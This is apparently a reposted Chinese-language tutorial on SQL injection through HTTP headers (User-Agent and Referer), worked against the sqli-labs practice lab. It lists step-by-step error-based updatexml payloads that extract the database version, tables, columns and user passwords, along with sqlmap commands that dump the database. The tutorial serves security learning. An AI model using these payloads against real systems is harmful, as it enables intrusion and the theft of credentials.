圖文詳解HTTP頭中的SQL注入
HTTP頭中的SQL注入
1.HTTP頭中的注入介紹
在安全意識越來越重視的情況下,很多網(wǎng)站都在防止漏洞的發(fā)生。例如SQL注入中,用戶提交的參數(shù)都會被代碼中的某些措施進行過濾。
過濾掉用戶直接提交的參數(shù),但是對于HTTP頭中提交的內(nèi)容很有可能就沒有進行過濾。
例如HTTP頭中的User-Agent、Referer、Cookies等。
2.HTTP User-Agent注入
就拿Sqli-Lab-Less18
這里的User-Agent是可控的,因此存在HTTP User-Agent注入
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload內(nèi)容:
updatexml(xml_document,xpath_string,new_value):
第一個參數(shù):XML文檔對象名稱。
第二個參數(shù):XPath字符串。
第三個參數(shù):替換查找到的符合條件的數(shù)據(jù)。
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫security,獲取數(shù)據(jù)表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容
當我們使用下面的語句時,會報錯Subquery returns more than 1 ro
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入
以Sqli-Lab19為例
' or '1'='1

1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫security,獲取數(shù)據(jù)表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容
當我們使用下面的語句時,會報錯Subquery returns more than 1 row
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全測試
抓取數(shù)據(jù)包,將抓取的全部內(nèi)容,放到文本文檔中,并且在有可能存在注入點的地方加入星號(*)

1.爆破數(shù)據(jù)庫
python2 sqlmap.py -r 1.txt --dbs

得到數(shù)據(jù)庫信息

2.爆破數(shù)據(jù)表
python2 sqlmap.py -r 1.txt -D security --tables

得到數(shù)據(jù)表的信息
3.爆破字段及內(nèi)容
python2 sqlmap.py -r 1.txt -D security -T users --dump

得到數(shù)據(jù)內(nèi)容

PS
1.HTTP User-Agent注入和HTTP Referer注入屬于放包攻擊,我們在放包的過程中,必須使用正確的用戶名和密碼;
2.如果探測出是HTTP頭注入,在使用sqlmap跑的過程中,在末尾加上星號(*),可以提高滲透測試的效率
5.HTTP頭部詳解
User-Agent:使得服務(wù)器能夠識別客戶使用的操作系統(tǒng),游覽器版本等.(很多數(shù)據(jù)量大的網(wǎng)站中會記錄客戶使用的操作系統(tǒng)或瀏覽器版本等存入數(shù)據(jù)庫中)
Cookie:網(wǎng)站為了辨別用戶身份、進行 session 跟蹤而儲存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密).
X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網(wǎng)站的防注入功能會記錄請求端真實IP地址并寫入數(shù)據(jù)庫or某文件[通過修改XXF頭可以實現(xiàn)偽造IP])
Clien-IP:同上,不做過多介紹.
Rerferer:瀏覽器向 WEB 服務(wù)器表明自己是從哪個頁面鏈接過來的.
Host:客戶端指定自己想訪問的WEB服務(wù)器的域名/IP 地址和端口號(這個我本人還沒碰到過,不過有真實存在的案例還是寫上吧).
總結(jié)
到此這篇關(guān)于HTTP頭中SQL注入的文章就介紹到這了,更多相關(guān)HTTP頭中SQL注入內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
關(guān)注官方微信